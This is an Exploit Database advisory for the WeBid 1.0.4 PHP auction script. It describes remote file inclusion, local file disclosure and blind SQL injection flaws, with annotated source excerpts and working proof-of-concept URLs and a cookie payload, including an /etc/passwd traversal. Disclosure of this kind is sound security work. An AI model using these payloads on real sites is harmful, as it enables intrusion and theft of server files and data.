webid 1.0.4 – Multiple Vulnerabilities

Exploit Database
120 阅读

作者： dun

日期： 2012-08-17
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/20580/

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:::::::-. ...::::::.:::.

;;, <code>';, ;; ;;;</code>;;;;,<code>;;;

</code>[[ [[[[' [[[[[[[[. '[[

$$,$$$$$$$$$$ "Y$c$$

888_,o8P'88.d888888Y88

MMMMP"` "YmmMMMM""MMM YM

[ Discovered by dun \ posdub[at]gmail.com ]

[ 2012-08-17]

################################################

# [ WeBid <= 1.0.4 ] Multiple Vulnerabilities#

################################################

# Script: "Open source php/mysql fully featured auction script"

# Vendor: http://www.webidsupport.com/

# Download: http://sourceforge.net/projects/simpleauction/files/simpleauction/

################################################

# [RFI] ( allow_url_include = On; register_globals = On; )

# PoC: http://localhost/WeBid/loader.php?js=admin/logout.php&include_path=http://localhost/info.txt?

# File: ./WeBid/loader.php (lines: 15-60)

#..cut..

# ob_start('ob_gzhandler');

# header("Content-type: text/javascript");

# include 'includes/checks/files.php'; // 1 ( Definition of $file_hashs array )

# if (isset($_GET['js']))

# {

#$js = explode(';', $_GET['js']);// 3 js = admin/logout.php (for example)

#foreach ($js as $val)

# $ext = substr($val, strrpos($val, '.') + 1); // 4

# if ($ext == 'php') // 4

# {

#if (check_file($val)) // 5

# include $val;// 10 include admin/logout.php

# }

#..cut..

# }

# ob_end_flush();

# function check_file($file)

# {

#global $file_hashs; // 6

#$tmp = $file_hashs;

#$folders = explode('/', $file); // 7 $folders = Array([0] => admin, [1] => logout.php)

#foreach ($folders as $val)// 8 This loop checks if parts of $folders are in $file_hashs

# if (isset($tmp[$val]))

# {

#$tmp = $tmp[$val];

# }

# else

# {

#return false;

# }

#return true;// 9 admin/logout.php passed

# }

#..cut..

# File: ./WeBid/includes/checks/files.php (lines: 2-19)

#..cut..

# $file_hashs = array(// 2 List of files that can be included.

#..cut..

#'admin' => array(// 2

# 'logout.php' => 'a0db39b73dcfd29feb1466002c4f59a4', // 2

#..cut..

#),

#..cut..

# );

# File: ./WeBid/admin/logout.php (lines: 16-17)

#..cut.. // 11 common.inc.php file contains a definition of $include_path

# include '../includes/common.inc.php';// 11 Failed, because loader.php is in root path

# include $include_path . 'functions_admin.php'; // 12 *[RFI] $include_path is not set by script

#..cut.. // 12 If register_globals is On, we can set $include_path

################################################

# [Local File Disclosure] ( magic_quotes_gpc = Off; php version < 5.3.4 )

# PoC: http://localhost/WeBid/getthumb.php?fromfile=getthumb.php&w=../../../../../etc/passwd%00

# File: ./WeBid/getthumb.php (lines: 17-52)

#..cut..

# $w = (isset($_GET['w'])) ? $_GET['w'] : '';// 1

# $fromfile = (isset($_GET['fromfile'])) ? $_GET['fromfile'] : ''; // 2

# $nomanage = false;

#..cut..

# if (!isset($_GET['fromfile'])) // 3

# {

#ErrorPNG('params empty');

#exit;

# }

# elseif (!file_exists($_GET['fromfile']) && !fopen($_GET['fromfile'], 'r')) // 4

# {

#ErrorPNG('img does not exist');

#exit;

# }

# if (file_exists($upload_path . 'cache/' . $_GET['w'] . '-' . md5($fromfile)))// 5

# {

#$img = getimagesize($fromfile);

#if ($img[2] == 1)

# $img['mime'] = 'image/png';

#header('Content-type: ' . $img['mime']);

#echo file_get_contents($upload_path . 'cache/' . $_GET['w'] . '-' . md5($fromfile)); // 6 *[LFD]

# }

#..cut..

################################################

# [Blind SQL Injection] ( magic_quotes_gpc = Off; )

# PoC:

# http://localhost/WeBid/contents.php

# GET /WeBid/contents.php HTTP/1.1

# Host: localhost

# User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:14.0) Gecko/20100101 Firefox/14.0.1

# Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

# Accept-Language: pl,en-us;q=0.7,en;q=0.3

# Accept-Encoding: gzip, deflate

# Connection: keep-alive

# Cookie: WEBID_ONLINE=-1' OR 1=1--

# File: ./WeBid/contents.php (lines: 15, 38)

#..cut..

# include 'includes/common.inc.php';

#..cut..

# include 'header.php';// 1

#..cut..

# File: ./WeBid/header.php (line: 26)

#..cut..

# $counters = load_counters(); // 2

#..cut..

# File: ./WeBid/includes/functions_global.php (line: 287-320)

#..cut..

# function load_counters() // 3

# {

#..cut..

#if (!$user->logged_in)

# if (!isset($_COOKIE['WEBID_ONLINE']))

# {

#$s = md5(rand(0, 99) . session_id());

#setcookie('WEBID_ONLINE', $s, time() + 900);

# }

# else

# {

#$s = $_COOKIE['WEBID_ONLINE'];// 4

#setcookie('WEBID_ONLINE', $s, time() + 900);

# }

#..cut..

#$query = "SELECT id FROM " . $DBPrefix . "online WHERE SESSION = '$s'"; // 5 *[SQL]

#$res = mysql_query($query);

#$system->check_mysql($res, $query, __LINE__, __FILE__);

#..cut..

### [ dun / 2012 ] #############################